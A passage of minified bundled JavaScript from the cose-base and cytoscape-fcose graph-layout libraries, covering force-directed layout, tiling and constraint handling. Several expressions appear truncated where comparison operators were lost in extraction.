u)h[f]=u[f];h.DEFAULT_USE_MULTI_LEVEL_SCALING=!1,h.DEFAULT_RADIAL_SEPARATION=u.DEFAULT_EDGE_LENGTH,h.DEFAULT_COMPONENT_SEPERATION=60,h.TILE=!0,h.TILING_PADDING_VERTICAL=10,h.TILING_PADDING_HORIZONTAL=10,h.TRANSFORM_ON_CONSTRAINT_HANDLING=!0,h.ENFORCE_CONSTRAINTS=!0,h.APPLY_LAYOUT=!0,h.RELAX_MOVEMENT_ON_CONSTRAINTS=!0,h.TREE_REDUCTION_ON_INCREMENTAL=!0,h.PURE_INCREMENTAL=h.DEFAULT_INCREMENTAL,a.exports=h}),767:((a,s,l)=>{var u=l(551).FDLayoutEdge;function h(d,p,m){u.call(this,d,p,m)}o(h,"CoSEEdge"),h.prototype=Object.create(u.prototype);for(var f in u)h[f]=u[f];a.exports=h}),880:((a,s,l)=>{var u=l(551).LGraph;function h(d,p,m){u.call(this,d,p,m)}o(h,"CoSEGraph"),h.prototype=Object.create(u.prototype);for(var f in u)h[f]=u[f];a.exports=h}),578:((a,s,l)=>{var u=l(551).LGraphManager;function h(d){u.call(this,d)}o(h,"CoSEGraphManager"),h.prototype=Object.create(u.prototype);for(var f in u)h[f]=u[f];a.exports=h}),765:((a,s,l)=>{var u=l(551).FDLayout,h=l(578),f=l(880),d=l(991),p=l(767),m=l(806),g=l(902),y=l(551).FDLayoutConstants,v=l(551).LayoutConstants,x=l(551).Point,b=l(551).PointD,T=l(551).DimensionD,S=l(551).Layout,w=l(551).Integer,k=l(551).IGeometry,A=l(551).LGraph,C=l(551).Transform,R=l(551).LinkedList;function I(){u.call(this),this.toBeTiled={},this.constraints={}}o(I,"CoSELayout"),I.prototype=Object.create(u.prototype);for(var L in u)I[L]=u[L];I.prototype.newGraphManager=function(){var E=new h(this);return this.graphManager=E,E},I.prototype.newGraph=function(E){return new f(null,this.graphManager,E)},I.prototype.newNode=function(E){return new d(this.graphManager,E)},I.prototype.newEdge=function(E){return new p(null,null,E)},I.prototype.initParameters=function(){u.prototype.initParameters.call(this,arguments),this.isSubLayout||(m.DEFAULT_EDGE_LENGTH<10?this.idealEdgeLength=10:this.idealEdgeLength=m.DEFAULT_EDGE_LENGTH,this.useSmartIdealEdgeLengthCalculation=m.DEFAULT_USE_SMART_IDEAL_EDGE_LENGTH_CALCULATION,this.gravityConstant=y.DEFAULT_GRAVITY_STRENGTH,this.compoundGravityConstant=y.DEFAULT_COMPOUND_GRAVITY_STRENGTH,this.gravityRangeFactor=y.DEFAULT_GRAVITY_RANGE_FACTOR,this.compoundGravityRangeFactor=y.DEFAULT_COMPOUND_GRAVITY_RANGE_FACTOR,this.prunedNodesAll=[],this.growTreeIterations=0,this.afterGrowthIterations=0,this.isTreeGrowing=!1,this.isGrowthFinished=!1)},I.prototype.initSpringEmbedder=function(){u.prototype.initSpringEmbedder.call(this),this.coolingCycle=0,this.maxCoolingCycle=this.maxIterations/y.CONVERGENCE_CHECK_PERIOD,this.finalTemperature=.04,this.coolingAdjuster=1},I.prototype.layout=function(){var E=v.DEFAULT_CREATE_BENDS_AS_NEEDED;return E&&(this.createBendpoints(),this.graphManager.resetAllEdges()),this.level=0,this.classicLayout()},I.prototype.classicLayout=function(){if(this.nodesWithGravity=this.calculateNodesToApplyGravitationTo(),this.graphManager.setAllNodesToApplyGravitation(this.nodesWithGravity),this.calcNoOfChildrenForAllNodes(),this.graphManager.calcLowestCommonAncestors(),this.graphManager.calcInclusionTreeDepths(),this.graphManager.getRoot().calcEstimatedSize(),this.calcIdealEdgeLengths(),this.incremental){if(m.TREE_REDUCTION_ON_INCREMENTAL){this.reduceTrees(),this.graphManager.resetAllNodesToApplyGravitation();var D=new Set(this.getAllNodes()),_=this.nodesWithGravity.filter(function(P){return D.has(P)});this.graphManager.setAllNodesToApplyGravitation(_)}}else{var E=this.getFlatForest();if(E.length>0)this.positionNodesRadially(E);else{this.reduceTrees(),this.graphManager.resetAllNodesToApplyGravitation();var D=new Set(this.getAllNodes()),_=this.nodesWithGravity.filter(function(O){return D.has(O)});this.graphManager.setAllNodesToApplyGravitation(_),this.positionNodesRandomly()}}return Object.keys(this.constraints).length>0&&(g.handleConstraints(this),this.initConstraintVariables()),this.initSpringEmbedder(),m.APPLY_LAYOUT&&this.runSpringEmbedder(),!0},I.prototype.tick=function(){if(this.totalIterations++,this.totalIterations===this.maxIterations&&!this.isTreeGrowing&&!this.isGrowthFinished)if(this.prunedNodesAll.length>0)this.isTreeGrowing=!0;else return!0;if(this.totalIterations%y.CONVERGENCE_CHECK_PERIOD==0&&!this.isTreeGrowing&&!this.isGrowthFinished){if(this.isConverged())if(this.prunedNodesAll.length>0)this.isTreeGrowing=!0;else return!0;this.coolingCycle++,this.layoutQuality==0?this.coolingAdjuster=this.coolingCycle:this.layoutQuality==1&&(this.coolingAdjuster=this.coolingCycle/3),this.coolingFactor=Math.max(this.initialCoolingFactor-Math.pow(this.coolingCycle,Math.log(100*(this.initialCoolingFactor-this.finalTemperature))/Math.log(this.maxCoolingCycle))/100*this.coolingAdjuster,this.finalTemperature),this.animationPeriod=Math.ceil(this.initialAnimationPeriod*Math.sqrt(this.coolingFactor))}if(this.isTreeGrowing){if(this.growTreeIterations%10==0)if(this.prunedNodesAll.length>0){this.graphManager.updateBounds(),this.updateGrid(),this.growTree(this.prunedNodesAll),this.graphManager.resetAllNodesToApplyGravitation();var E=new Set(this.getAllNodes()),D=this.nodesWithGravity.filter(function(M){return E.has(M)});this.graphManager.setAllNodesToApplyGravitation(D),this.graphManager.updateBounds(),this.updateGrid(),m.PURE_INCREMENTAL?this.coolingFactor=y.DEFAULT_COOLING_FACTOR_INCREMENTAL/2:this.coolingFactor=y.DEFAULT_COOLING_FACTOR_INCREMENTAL}else this.isTreeGrowing=!1,this.isGrowthFinished=!0;this.growTreeIterations++}if(this.isGrowthFinished){if(this.isConverged())return!0;this.afterGrowthIterations%10==0&&(this.graphManager.updateBounds(),this.updateGrid()),m.PURE_INCREMENTAL?this.coolingFactor=y.DEFAULT_COOLING_FACTOR_INCREMENTAL/2*((100-this.afterGrowthIterations)/100):this.coolingFactor=y.DEFAULT_COOLING_FACTOR_INCREMENTAL*((100-this.afterGrowthIterations)/100),this.afterGrowthIterations++}var _=!this.isTreeGrowing&&!this.isGrowthFinished,O=this.growTreeIterations%10==1&&this.isTreeGrowing||this.afterGrowthIterations%10==1&&this.isGrowthFinished;return this.totalDisplacement=0,this.graphManager.updateBounds(),this.calcSpringForces(),this.calcRepulsionForces(_,O),this.calcGravitationalForces(),this.moveNodes(),this.animate(),!1},I.prototype.getPositionsData=function(){for(var E=this.graphManager.getAllNodes(),D={},_=0;_0&&this.updateDisplacements();for(var _=0;_0&&(O.fixedNodeWeight=P)}}if(this.constraints.relativePlacementConstraint){var B=new Map,F=new Map;if(this.dummyToNodeForVerticalAlignment=new Map,this.dummyToNodeForHorizontalAlignment=new Map,this.fixedNodesOnHorizontal=new Set,this.fixedNodesOnVertical=new Set,this.fixedNodeSet.forEach(function(J){E.fixedNodesOnHorizontal.add(J),E.fixedNodesOnVertical.add(J)}),this.constraints.alignmentConstraint){if(this.constraints.alignmentConstraint.vertical)for(var G=this.constraints.alignmentConstraint.vertical,_=0;_=2*J.length/3;ee--)ue=Math.floor(Math.random()*(ee+1)),re=J[ee],J[ee]=J[ue],J[ue]=re;return J},this.nodesInRelativeHorizontal=[],this.nodesInRelativeVertical=[],this.nodeToRelativeConstraintMapHorizontal=new Map,this.nodeToRelativeConstraintMapVertical=new Map,this.nodeToTempPositionMapHorizontal=new Map,this.nodeToTempPositionMapVertical=new Map,this.constraints.relativePlacementConstraint.forEach(function(J){if(J.left){var ue=B.has(J.left)?B.get(J.left):J.left,re=B.has(J.right)?B.get(J.right):J.right;E.nodesInRelativeHorizontal.includes(ue)||(E.nodesInRelativeHorizontal.push(ue),E.nodeToRelativeConstraintMapHorizontal.set(ue,[]),E.dummyToNodeForVerticalAlignment.has(ue)?E.nodeToTempPositionMapHorizontal.set(ue,E.idToNodeMap.get(E.dummyToNodeForVerticalAlignment.get(ue)[0]).getCenterX()):E.nodeToTempPositionMapHorizontal.set(ue,E.idToNodeMap.get(ue).getCenterX())),E.nodesInRelativeHorizontal.includes(re)||(E.nodesInRelativeHorizontal.push(re),E.nodeToRelativeConstraintMapHorizontal.set(re,[]),E.dummyToNodeForVerticalAlignment.has(re)?E.nodeToTempPositionMapHorizontal.set(re,E.idToNodeMap.get(E.dummyToNodeForVerticalAlignment.get(re)[0]).getCenterX()):E.nodeToTempPositionMapHorizontal.set(re,E.idToNodeMap.get(re).getCenterX())),E.nodeToRelativeConstraintMapHorizontal.get(ue).push({right:re,gap:J.gap}),E.nodeToRelativeConstraintMapHorizontal.get(re).push({left:ue,gap:J.gap})}else{var ee=F.has(J.top)?F.get(J.top):J.top,Z=F.has(J.bottom)?F.get(J.bottom):J.bottom;E.nodesInRelativeVertical.includes(ee)||(E.nodesInRelativeVertical.push(ee),E.nodeToRelativeConstraintMapVertical.set(ee,[]),E.dummyToNodeForHorizontalAlignment.has(ee)?E.nodeToTempPositionMapVertical.set(ee,E.idToNodeMap.get(E.dummyToNodeForHorizontalAlignment.get(ee)[0]).getCenterY()):E.nodeToTempPositionMapVertical.set(ee,E.idToNodeMap.get(ee).getCenterY())),E.nodesInRelativeVertical.includes(Z)||(E.nodesInRelativeVertical.push(Z),E.nodeToRelativeConstraintMapVertical.set(Z,[]),E.dummyToNodeForHorizontalAlignment.has(Z)?E.nodeToTempPositionMapVertical.set(Z,E.idToNodeMap.get(E.dummyToNodeForHorizontalAlignment.get(Z)[0]).getCenterY()):E.nodeToTempPositionMapVertical.set(Z,E.idToNodeMap.get(Z).getCenterY())),E.nodeToRelativeConstraintMapVertical.get(ee).push({bottom:Z,gap:J.gap}),E.nodeToRelativeConstraintMapVertical.get(Z).push({top:ee,gap:J.gap})}});else{var U=new Map,j=new Map;this.constraints.relativePlacementConstraint.forEach(function(J){if(J.left){var ue=B.has(J.left)?B.get(J.left):J.left,re=B.has(J.right)?B.get(J.right):J.right;U.has(ue)?U.get(ue).push(re):U.set(ue,[re]),U.has(re)?U.get(re).push(ue):U.set(re,[ue])}else{var ee=F.has(J.top)?F.get(J.top):J.top,Z=F.has(J.bottom)?F.get(J.bottom):J.bottom;j.has(ee)?j.get(ee).push(Z):j.set(ee,[Z]),j.has(Z)?j.get(Z).push(ee):j.set(Z,[ee])}});var te=o(function(ue,re){var ee=[],Z=[],K=new R,ae=new Set,Q=0;return ue.forEach(function(de,ne){if(!ae.has(ne)){ee[Q]=[],Z[Q]=!1;var Te=ne;for(K.push(Te),ae.add(Te),ee[Q].push(Te);K.length!=0;){Te=K.shift(),re.has(Te)&&(Z[Q]=!0);var q=ue.get(Te);q.forEach(function(Ve){ae.has(Ve)||(K.push(Ve),ae.add(Ve),ee[Q].push(Ve))})}Q++}}),{components:ee,isFixed:Z}},"constructComponents"),Y=te(U,E.fixedNodesOnHorizontal);this.componentsOnHorizontal=Y.components,this.fixedComponentsOnHorizontal=Y.isFixed;var oe=te(j,E.fixedNodesOnVertical);this.componentsOnVertical=oe.components,this.fixedComponentsOnVertical=oe.isFixed}}},I.prototype.updateDisplacements=function(){var E=this;if(this.constraints.fixedNodeConstraint&&this.constraints.fixedNodeConstraint.forEach(function(oe){var J=E.idToNodeMap.get(oe.nodeId);J.displacementX=0,J.displacementY=0}),this.constraints.alignmentConstraint){if(this.constraints.alignmentConstraint.vertical)for(var D=this.constraints.alignmentConstraint.vertical,_=0;_1){var F;for(F=0;FO&&(O=Math.floor(B.y)),P=Math.floor(B.x+m.DEFAULT_COMPONENT_SEPERATION)}this.transform(new b(v.WORLD_CENTER_X-B.x/2,v.WORLD_CENTER_Y-B.y/2))},I.radialLayout=function(E,D,_){var O=Math.max(this.maxDiagonalInTree(E),m.DEFAULT_RADIAL_SEPARATION);I.branchRadialLayout(D,null,0,359,0,O);var M=A.calculateBounds(E),P=new C;P.setDeviceOrgX(M.getMinX()),P.setDeviceOrgY(M.getMinY()),P.setWorldOrgX(_.x),P.setWorldOrgY(_.y);for(var B=0;B1;){var ee=re[0];re.splice(0,1);var Z=te.indexOf(ee);Z>=0&&te.splice(Z,1),J--,Y--}D!=null?ue=(te.indexOf(re[0])+1)%J:ue=0;for(var K=Math.abs(O-_)/Y,ae=ue;oe!=Y;ae=++ae%J){var Q=te[ae].getOtherEnd(E);if(Q!=D){var de=(_+oe*K)%360,ne=(de+K)%360;I.branchRadialLayout(Q,E,de,ne,M+P,P),oe++}}},I.maxDiagonalInTree=function(E){for(var D=w.MIN_VALUE,_=0;_D&&(D=M)}return D},I.prototype.calcRepulsionRange=function(){return 2*(this.level+1)*this.idealEdgeLength},I.prototype.groupZeroDegreeMembers=function(){var E=this,D={};this.memberGroups={},this.idToDummyNode={};for(var _=[],O=this.graphManager.getAllNodes(),M=0;M"u"&&(D[F]=[]),D[F]=D[F].concat(P)}Object.keys(D).forEach(function(G){if(D[G].length>1){var $="DummyCompound_"+G;E.memberGroups[$]=D[G];var U=D[G][0].getParent(),j=new d(E.graphManager);j.id=$,j.paddingLeft=U.paddingLeft||0,j.paddingRight=U.paddingRight||0,j.paddingBottom=U.paddingBottom||0,j.paddingTop=U.paddingTop||0,E.idToDummyNode[$]=j;var te=E.getGraphManager().add(E.newGraph(),j),Y=U.getChild();Y.add(j);for(var oe=0;oeM?(O.rect.x-=(O.labelWidth-M)/2,O.setWidth(O.labelWidth),O.labelMarginLeft=(O.labelWidth-M)/2):O.labelPosHorizontal=="right"&&O.setWidth(M+O.labelWidth)),O.labelHeight&&(O.labelPosVertical=="top"?(O.rect.y-=O.labelHeight,O.setHeight(P+O.labelHeight),O.labelMarginTop=O.labelHeight):O.labelPosVertical=="center"&&O.labelHeight>P?(O.rect.y-=(O.labelHeight-P)/2,O.setHeight(O.labelHeight),O.labelMarginTop=(O.labelHeight-P)/2):O.labelPosVertical=="bottom"&&O.setHeight(P+O.labelHeight))}})},I.prototype.repopulateCompounds=function(){for(var E=this.compoundOrder.length-1;E>=0;E--){var D=this.compoundOrder[E],_=D.id,O=D.paddingLeft,M=D.paddingTop,P=D.labelMarginLeft,B=D.labelMarginTop;this.adjustLocations(this.tiledMemberPack[_],D.rect.x,D.rect.y,O,M,P,B)}},I.prototype.repopulateZeroDegreeMembers=function(){var E=this,D=this.tiledZeroDegreePack;Object.keys(D).forEach(function(_){var O=E.idToDummyNode[_],M=O.paddingLeft,P=O.paddingTop,B=O.labelMarginLeft,F=O.labelMarginTop;E.adjustLocations(D[_],O.rect.x,O.rect.y,M,P,B,F)})},I.prototype.getToBeTiled=function(E){var D=E.id;if(this.toBeTiled[D]!=null)return this.toBeTiled[D];var _=E.getChild();if(_==null)return this.toBeTiled[D]=!1,!1;for(var O=_.getNodes(),M=0;M0)return this.toBeTiled[D]=!1,!1;if(P.getChild()==null){this.toBeTiled[P.id]=!1;continue}if(!this.getToBeTiled(P))return this.toBeTiled[D]=!1,!1}return this.toBeTiled[D]=!0,!0},I.prototype.getNodeDegree=function(E){for(var D=E.id,_=E.getEdges(),O=0,M=0;M<_.length;M++){var P=_[M];P.getSource().id!==P.getTarget().id&&(O=O+1)}return O},I.prototype.getNodeDegreeWithChildren=function(E){var D=this.getNodeDegree(E);if(E.getChild()==null)return D;for(var _=E.getChild().getNodes(),O=0;O<_.length;O++){var M=_[O];D+=this.getNodeDegreeWithChildren(M)}return D},I.prototype.performDFSOnCompounds=function(){this.compoundOrder=[],this.fillCompexOrderByDFS(this.graphManager.getRoot().getNodes())},I.prototype.fillCompexOrderByDFS=function(E){for(var D=0;DU&&(U=te.rect.height)}_+=U+E.verticalPadding}},I.prototype.tileCompoundMembers=function(E,D){var _=this;this.tiledMemberPack=[],Object.keys(E).forEach(function(O){var M=D[O];if(_.tiledMemberPack[O]=_.tileNodes(E[O],M.paddingLeft+M.paddingRight),M.rect.width=_.tiledMemberPack[O].width,M.rect.height=_.tiledMemberPack[O].height,M.setCenter(_.tiledMemberPack[O].centerX,_.tiledMemberPack[O].centerY),M.labelMarginLeft=0,M.labelMarginTop=0,m.NODE_DIMENSIONS_INCLUDE_LABELS){var P=M.rect.width,B=M.rect.height;M.labelWidth&&(M.labelPosHorizontal=="left"?(M.rect.x-=M.labelWidth,M.setWidth(P+M.labelWidth),M.labelMarginLeft=M.labelWidth):M.labelPosHorizontal=="center"&&M.labelWidth>P?(M.rect.x-=(M.labelWidth-P)/2,M.setWidth(M.labelWidth),M.labelMarginLeft=(M.labelWidth-P)/2):M.labelPosHorizontal=="right"&&M.setWidth(P+M.labelWidth)),M.labelHeight&&(M.labelPosVertical=="top"?(M.rect.y-=M.labelHeight,M.setHeight(B+M.labelHeight),M.labelMarginTop=M.labelHeight):M.labelPosVertical=="center"&&M.labelHeight>B?(M.rect.y-=(M.labelHeight-B)/2,M.setHeight(M.labelHeight),M.labelMarginTop=(M.labelHeight-B)/2):M.labelPosVertical=="bottom"&&M.setHeight(B+M.labelHeight))}})},I.prototype.tileNodes=function(E,D){var _=this.tileNodesByFavoringDim(E,D,!0),O=this.tileNodesByFavoringDim(E,D,!1),M=this.getOrgRatio(_),P=this.getOrgRatio(O),B;return PF&&(F=oe.getWidth())});var G=P/M,$=B/M,U=Math.pow(_-O,2)+4*(G+O)*($+_)*M,j=(O-_+Math.sqrt(U))/(2*(G+O)),te;D?(te=Math.ceil(j),te==j&&te++):te=Math.floor(j);var Y=te*(G+O)-O;return F>Y&&(Y=F),Y+=O*2,Y},I.prototype.tileNodesByFavoringDim=function(E,D,_){var O=m.TILING_PADDING_VERTICAL,M=m.TILING_PADDING_HORIZONTAL,P=m.TILING_COMPARE_BY,B={rows:[],rowWidth:[],rowHeight:[],width:0,height:D,verticalPadding:O,horizontalPadding:M,centerX:0,centerY:0};P&&(B.idealRowWidth=this.calcIdealRowWidth(E,_));var F=o(function(J){return J.rect.width*J.rect.height},"getNodeArea"),G=o(function(J,ue){return F(ue)-F(J)},"areaCompareFcn");E.sort(function(oe,J){var ue=G;return B.idealRowWidth?(ue=P,ue(oe.id,J.id)):ue(oe,J)});for(var $=0,U=0,j=0;j0&&(B+=E.horizontalPadding),E.rowWidth[_]=B,E.width0&&(F+=E.verticalPadding);var G=0;F>E.rowHeight[_]&&(G=E.rowHeight[_],E.rowHeight[_]=F,G=E.rowHeight[_]-G),E.height+=G,E.rows[_].push(D)},I.prototype.getShortestRowIndex=function(E){for(var D=-1,_=Number.MAX_VALUE,O=0;O_&&(D=O,_=E.rowWidth[O]);return D},I.prototype.canAddHorizontal=function(E,D,_){if(E.idealRowWidth){var O=E.rows.length-1,M=E.rowWidth[O];return M+D+E.horizontalPadding<=E.idealRowWidth}var P=this.getShortestRowIndex(E);if(P<0)return!0;var B=E.rowWidth[P];if(B+E.horizontalPadding+D<=E.width)return!0;var F=0;E.rowHeight[P]<_&&P>0&&(F=_+E.verticalPadding-E.rowHeight[P]);var G;E.width-B>=D+E.horizontalPadding?G=(E.height+F)/(B+D+E.horizontalPadding):G=(E.height+F)/E.width,F=_+E.verticalPadding;var $;return E.widthP&&D!=_){O.splice(-1,1),E.rows[_].push(M),E.rowWidth[D]=E.rowWidth[D]-P,E.rowWidth[_]=E.rowWidth[_]+P,E.width=E.rowWidth[instance.getLongestRowIndex(E)];for(var B=Number.MIN_VALUE,F=0;FB&&(B=O[F].height);D>0&&(B+=E.verticalPadding);var G=E.rowHeight[D]+E.rowHeight[_];E.rowHeight[D]=B,E.rowHeight[_]0)for(var Y=M;Y<=P;Y++)te[0]+=this.grid[Y][B-1].length+this.grid[Y][B].length-1;if(P0)for(var Y=B;Y<=F;Y++)te[3]+=this.grid[M-1][Y].length+this.grid[M][Y].length-1;for(var oe=w.MAX_VALUE,J,ue,re=0;re{var u=l(551).FDLayoutNode,h=l(551).IMath;function f(p,m,g,y){u.call(this,p,m,g,y)}o(f,"CoSENode"),f.prototype=Object.create(u.prototype);for(var d in u)f[d]=u[d];f.prototype.calculateDisplacement=function(){var p=this.graphManager.getLayout();this.getChild()!=null&&this.fixedNodeWeight?(this.displacementX+=p.coolingFactor*(this.springForceX+this.repulsionForceX+this.gravitationForceX)/this.fixedNodeWeight,this.displacementY+=p.coolingFactor*(this.springForceY+this.repulsionForceY+this.gravitationForceY)/this.fixedNodeWeight):(this.displacementX+=p.coolingFactor*(this.springForceX+this.repulsionForceX+this.gravitationForceX)/this.noOfChildren,this.displacementY+=p.coolingFactor*(this.springForceY+this.repulsionForceY+this.gravitationForceY)/this.noOfChildren),Math.abs(this.displacementX)>p.coolingFactor*p.maxNodeDisplacement&&(this.displacementX=p.coolingFactor*p.maxNodeDisplacement*h.sign(this.displacementX)),Math.abs(this.displacementY)>p.coolingFactor*p.maxNodeDisplacement&&(this.displacementY=p.coolingFactor*p.maxNodeDisplacement*h.sign(this.displacementY)),this.child&&this.child.getNodes().length>0&&this.propogateDisplacementToChildren(this.displacementX,this.displacementY)},f.prototype.propogateDisplacementToChildren=function(p,m){for(var g=this.getChild().getNodes(),y,v=0;v{function u(g){if(Array.isArray(g)){for(var y=0,v=Array(g.length);y0){var et=0;Oe.forEach(function(lt){he=="horizontal"?(ye.set(lt,x.has(lt)?b[x.get(lt)]:se.get(lt)),et+=ye.get(lt)):(ye.set(lt,x.has(lt)?T[x.get(lt)]:se.get(lt)),et+=ye.get(lt))}),et=et/Oe.length,We.forEach(function(lt){z.has(lt)||ye.set(lt,et)})}else{var Ue=0;We.forEach(function(lt){he=="horizontal"?Ue+=x.has(lt)?b[x.get(lt)]:se.get(lt):Ue+=x.has(lt)?T[x.get(lt)]:se.get(lt)}),Ue=Ue/We.length,We.forEach(function(lt){ye.set(lt,Ue)})}});for(var ze=o(function(){var Oe=_e.shift(),et=W.get(Oe);et.forEach(function(Ue){if(ye.get(Ue.id)lt&&(lt=yt),ftGt&&(Gt=ft)}}catch(Ct){Lt=!0,dt=Ct}finally{try{!vt&&nt.return&&nt.return()}finally{if(Lt)throw dt}}var Ur=(et+lt)/2-(Ue+Gt)/2,_t=!0,bn=!1,Br=void 0;try{for(var cr=We[Symbol.iterator](),ar;!(_t=(ar=cr.next()).done);_t=!0){var _r=ar.value;ye.set(_r,ye.get(_r)+Ur)}}catch(Ct){bn=!0,Br=Ct}finally{try{!_t&&cr.return&&cr.return()}finally{if(bn)throw Br}}})}return ye},"findAppropriatePositionForRelativePlacement"),L=o(function(W){var he=0,z=0,se=0,le=0;if(W.forEach(function(Re){Re.left?b[x.get(Re.left)]-b[x.get(Re.right)]>=0?he++:z++:T[x.get(Re.top)]-T[x.get(Re.bottom)]>=0?se++:le++}),he>z&&se>le)for(var ke=0;kez)for(var ve=0;vele)for(var ye=0;ye1)y.fixedNodeConstraint.forEach(function(xe,W){O[W]=[xe.position.x,xe.position.y],M[W]=[b[x.get(xe.nodeId)],T[x.get(xe.nodeId)]]}),P=!0;else if(y.alignmentConstraint)(function(){var xe=0;if(y.alignmentConstraint.vertical){for(var W=y.alignmentConstraint.vertical,he=o(function(ye){var Re=new Set;W[ye].forEach(function(Ke){Re.add(Ke)});var _e=new Set([].concat(u(Re)).filter(function(Ke){return F.has(Ke)})),ze=void 0;_e.size>0?ze=b[x.get(_e.values().next().value)]:ze=R(Re).x,W[ye].forEach(function(Ke){O[xe]=[ze,T[x.get(Ke)]],M[xe]=[b[x.get(Ke)],T[x.get(Ke)]],xe++})},"_loop2"),z=0;z0?ze=b[x.get(_e.values().next().value)]:ze=R(Re).y,se[ye].forEach(function(Ke){O[xe]=[b[x.get(Ke)],ze],M[xe]=[b[x.get(Ke)],T[x.get(Ke)]],xe++})},"_loop3"),ke=0;kej&&(j=U[Y].length,te=Y);if(j<$.size/2)L(y.relativePlacementConstraint),P=!1,B=!1;else{var oe=new Map,J=new Map,ue=[];U[te].forEach(function(xe){G.get(xe).forEach(function(W){W.direction=="horizontal"?(oe.has(xe)?oe.get(xe).push(W):oe.set(xe,[W]),oe.has(W.id)||oe.set(W.id,[]),ue.push({left:xe,right:W.id})):(J.has(xe)?J.get(xe).push(W):J.set(xe,[W]),J.has(W.id)||J.set(W.id,[]),ue.push({top:xe,bottom:W.id}))})}),L(ue),B=!1;var re=I(oe,"horizontal"),ee=I(J,"vertical");U[te].forEach(function(xe,W){M[W]=[b[x.get(xe)],T[x.get(xe)]],O[W]=[],re.has(xe)?O[W][0]=re.get(xe):O[W][0]=b[x.get(xe)],ee.has(xe)?O[W][1]=ee.get(xe):O[W][1]=T[x.get(xe)]}),P=!0}}if(P){for(var Z=void 0,K=d.transpose(O),ae=d.transpose(M),Q=0;Q0){var Be={x:0,y:0};y.fixedNodeConstraint.forEach(function(xe,W){var he={x:b[x.get(xe.nodeId)],y:T[x.get(xe.nodeId)]},z=xe.position,se=C(z,he);Be.x+=se.x,Be.y+=se.y}),Be.x/=y.fixedNodeConstraint.length,Be.y/=y.fixedNodeConstraint.length,b.forEach(function(xe,W){b[W]+=Be.x}),T.forEach(function(xe,W){T[W]+=Be.y}),y.fixedNodeConstraint.forEach(function(xe){b[x.get(xe.nodeId)]=xe.position.x,T[x.get(xe.nodeId)]=xe.position.y})}if(y.alignmentConstraint){if(y.alignmentConstraint.vertical)for(var Ye=y.alignmentConstraint.vertical,He=o(function(W){var he=new Set;Ye[W].forEach(function(le){he.add(le)});var z=new Set([].concat(u(he)).filter(function(le){return F.has(le)})),se=void 0;z.size>0?se=b[x.get(z.values().next().value)]:se=R(he).x,he.forEach(function(le){F.has(le)||(b[x.get(le)]=se)})},"_loop4"),Le=0;Le0?se=T[x.get(z.values().next().value)]:se=R(he).y,he.forEach(function(le){F.has(le)||(T[x.get(le)]=se)})},"_loop5"),Ce=0;Ce{a.exports=t})},r={};function n(a){var s=r[a];if(s!==void 0)return s.exports;var l=r[a]={exports:{}};return e[a](l,l.exports,n),l.exports}o(n,"__webpack_require__");var i=n(45);return i})()})});var R4e=Da((B4,Mz)=>{"use strict";o((function(e,r){typeof B4=="object"&&typeof Mz=="object"?Mz.exports=r(Nz()):typeof define=="function"&&define.amd?define(["cose-base"],r):typeof B4=="object"?B4.cytoscapeFcose=r(Nz()):e.cytoscapeFcose=r(e.coseBase)}),"webpackUniversalModuleDefinition")(B4,function(t){return(()=>{"use strict";var e={658:(a=>{a.exports=Object.assign!=null?Object.assign.bind(Object):function(s){for(var l=arguments.length,u=Array(l>1?l-1:0),h=1;h{var u=(function(){function d(p,m){var g=[],y=!0,v=!1,x=void 0;try{for(var b=p[Symbol.iterator](),T;!(y=(T=b.next()).done)&&(g.push(T.value),!(m&&g.length===m));y=!0);}catch(S){v=!0,x=S}finally{try{!y&&b.return&&b.return()}finally{if(v)throw x}}return g}return o(d,"sliceIterator"),function(p,m){if(Array.isArray(p))return p;if(Symbol.iterator in Object(p))return d(p,m);throw new TypeError("Invalid attempt to destructure non-iterable instance")}})(),h=l(140).layoutBase.LinkedList,f={};f.getTopMostNodes=function(d){for(var p={},m=0;m0&&P.merge($)});for(var B=0;B1){T=x[0],S=T.connectedEdges().length,x.forEach(function(M){M.connectedEdges().length0&&g.set("dummy"+(g.size+1),A),C},f.relocateComponent=function(d,p,m){if(!m.fixedNodeConstraint){var g=Number.POSITIVE_INFINITY,y=Number.NEGATIVE_INFINITY,v=Number.POSITIVE_INFINITY,x=Number.NEGATIVE_INFINITY;if(m.quality=="draft"){var b=!0,T=!1,S=void 0;try{for(var w=p.nodeIndexes[Symbol.iterator](),k;!(b=(k=w.next()).done);b=!0){var A=k.value,C=u(A,2),R=C[0],I=C[1],L=m.cy.getElementById(R);if(L){var E=L.boundingBox(),D=p.xCoords[I]-E.w/2,_=p.xCoords[I]+E.w/2,O=p.yCoords[I]-E.h/2,M=p.yCoords[I]+E.h/2;Dy&&(y=_),Ox&&(x=M)}}}catch($){T=!0,S=$}finally{try{!b&&w.return&&w.return()}finally{if(T)throw S}}var P=d.x-(y+g)/2,B=d.y-(x+v)/2;p.xCoords=p.xCoords.map(function($){return $+P}),p.yCoords=p.yCoords.map(function($){return $+B})}else{Object.keys(p).forEach(function($){var U=p[$],j=U.getRect().x,te=U.getRect().x+U.getRect().width,Y=U.getRect().y,oe=U.getRect().y+U.getRect().height;jy&&(y=te),Yx&&(x=oe)});var F=d.x-(y+g)/2,G=d.y-(x+v)/2;Object.keys(p).forEach(function($){var U=p[$];U.setCenter(U.getCenterX()+F,U.getCenterY()+G)})}}},f.calcBoundingBox=function(d,p,m,g){for(var y=Number.MAX_SAFE_INTEGER,v=Number.MIN_SAFE_INTEGER,x=Number.MAX_SAFE_INTEGER,b=Number.MIN_SAFE_INTEGER,T=void 0,S=void 0,w=void 0,k=void 0,A=d.descendants().not(":parent"),C=A.length,R=0;RT&&(y=T),vw&&(x=w),b{var u=l(548),h=l(140).CoSELayout,f=l(140).CoSENode,d=l(140).layoutBase.PointD,p=l(140).layoutBase.DimensionD,m=l(140).layoutBase.LayoutConstants,g=l(140).layoutBase.FDLayoutConstants,y=l(140).CoSEConstants,v=o(function(b,T){var S=b.cy,w=b.eles,k=w.nodes(),A=w.edges(),C=void 0,R=void 0,I=void 0,L={};b.randomize&&(C=T.nodeIndexes,R=T.xCoords,I=T.yCoords);var E=o(function($){return typeof $=="function"},"isFn"),D=o(function($,U){return E($)?$(U):$},"optFn"),_=u.calcParentsWithoutChildren(S,w),O=o(function G($,U,j,te){for(var Y=U.length,oe=0;oe0){var K=void 0;K=j.getGraphManager().add(j.newGraph(),re),G(K,ue,j,te)}}},"processChildrenList"),M=o(function($,U,j){for(var 